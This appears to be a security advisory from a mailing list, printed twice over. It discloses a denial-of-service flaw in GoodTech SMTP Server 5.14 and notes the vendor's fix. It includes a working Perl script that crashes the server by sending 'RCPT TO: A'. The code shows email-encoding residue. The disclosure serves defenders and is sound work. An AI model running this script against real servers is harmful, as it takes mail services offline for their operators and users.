Reed Arvin
07/06/05, 22:35
Summary:
Denial of Service vulnerability in GoodTech SMTP Server for Windows
NT/2000/XP version 5.14
(http://www.goodtechsys.com/)
Details:
Input to the RCPT TO command is not properly checked and/or filtered.
Issuing a single character 'A' as an argument to the RCTP TO command
will cause the smtpd process to die.
Vulnerable Versions:
GoodTech SMTP Server for Windows NT/2000/XP version 5.14
Patches/Workarounds:
The vendor has released version 5.15 to patch the affected software.
It is available at http://www.goodtechsys.com/.
Exploit:
Run the following PERL script against the server. The process will die.
#=3D=3D=3D=3D=3D Start GoodTechSMTPServer_DOS.pl =3D=3D=3D=3D=3D
#
# Usage: GoodTechSMTPServer_DOS.pl <ip>
# GoodTechSMTPServer_DOS.pl 127.0.0.1
#
# GoodTech SMTP Server for Windows NT/2000/XP version 5.14
#
# Download:
# http://www.goodtechsys.com/
#
################################################## #########
use IO::Socket;
use strict;
my($socket) =3D "";
if ($socket =3D IO::Socket::INET->new(PeerAddr =3D> $ARGV[0],
=09=09=09=09 PeerPort =3D> "25",
=09=09=09=09 Proto =3D> "TCP"))
{
=09print "Attempting to kill GoodTech SMTP Server at $ARGV[0]:25...";
=09sleep(1);
=09print $socket "HELO moto.com\r\n";
=09sleep(1);
=09print $socket "RCPT TO: A\r\n";
=09close($socket);
}
else
{
=09print "Cannot connect to $ARGV[0]:25\n";
}
#=3D=3D=3D=3D=3D End GoodTechSMTPServer_DOS.pl =3D=3D=3D=3D=3D
Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)
Denial of Service vulnerability in GoodTech SMTP Server for Windows
NT/2000/XP version 5.14
(http://www.goodtechsys.com/)
Details:
Input to the RCPT TO command is not properly checked and/or filtered.
Issuing a single character 'A' as an argument to the RCTP TO command
will cause the smtpd process to die.
Vulnerable Versions:
GoodTech SMTP Server for Windows NT/2000/XP version 5.14
Patches/Workarounds:
The vendor has released version 5.15 to patch the affected software.
It is available at http://www.goodtechsys.com/.
Exploit:
Run the following PERL script against the server. The process will die.
#=3D=3D=3D=3D=3D Start GoodTechSMTPServer_DOS.pl =3D=3D=3D=3D=3D
#
# Usage: GoodTechSMTPServer_DOS.pl <ip>
# GoodTechSMTPServer_DOS.pl 127.0.0.1
#
# GoodTech SMTP Server for Windows NT/2000/XP version 5.14
#
# Download:
# http://www.goodtechsys.com/
#
################################################## #########
use IO::Socket;
use strict;
my($socket) =3D "";
if ($socket =3D IO::Socket::INET->new(PeerAddr =3D> $ARGV[0],
=09=09=09=09 PeerPort =3D> "25",
=09=09=09=09 Proto =3D> "TCP"))
{
=09print "Attempting to kill GoodTech SMTP Server at $ARGV[0]:25...";
=09sleep(1);
=09print $socket "HELO moto.com\r\n";
=09sleep(1);
=09print $socket "RCPT TO: A\r\n";
=09close($socket);
}
else
{
=09print "Cannot connect to $ARGV[0]:25\n";
}
#=3D=3D=3D=3D=3D End GoodTechSMTPServer_DOS.pl =3D=3D=3D=3D=3D
Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)